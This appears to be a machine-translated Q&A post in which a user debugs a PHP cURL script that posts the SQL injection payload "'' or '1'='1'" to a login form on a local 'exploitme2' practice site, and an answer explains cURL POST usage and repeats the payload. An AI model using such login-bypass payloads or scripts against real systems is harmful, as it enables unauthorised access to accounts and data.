我想:
$url
我有以下代码:
<?php
# get url to form
$url = "http://localhost/exploitme2/index.php?page=login.php";
$ch = curl_init($url); # initialize that form
#run value of $_POST variable in form fields from above url.
$params = array("'' or '1'='1'", "'' or '1'='1'");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params); #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
## echo the result from cURL 'ing
echo $result;
curl_close($ch);
?>
我收到此错误:
syntax error, unexpected '=', expecting ')'
在这一行:
$params = array($_POST['username']=>'' or '1'='1',
$_POST['password']=>'' or '1'='1');
答案 0 :(得分:1)
在技术方面,这只是一步操作,而不是3.您已经完成了所有这三个步骤。当您将这些值发布到上面的url时,您的结果将根据您的代码存储在$ result变量中,只需要返回/显示它。对于cURL,你不必首先访问网址,然后提交下一个网址,如果你知道字段名称和动作网址,那么你可以像你已经完成的那样在一步完成所有这三件事
尝试使用此变量的回声
$result = curl_exec($ch);
**echo $result;**
curl_close($ch);
好的,让我在这里澄清一些混淆
1)您不必在$ _POST数组中指定变量。您的cURL POST变量可以是任何变量。它们不一定是$ _POST。
2)您必须将数据发布到表单的操作网址,而不是自己的网址(除非两者都相同)
因此,对于1,您的代码应该像
$params = array("'' or '1'='1'", "'' or '1'='1'");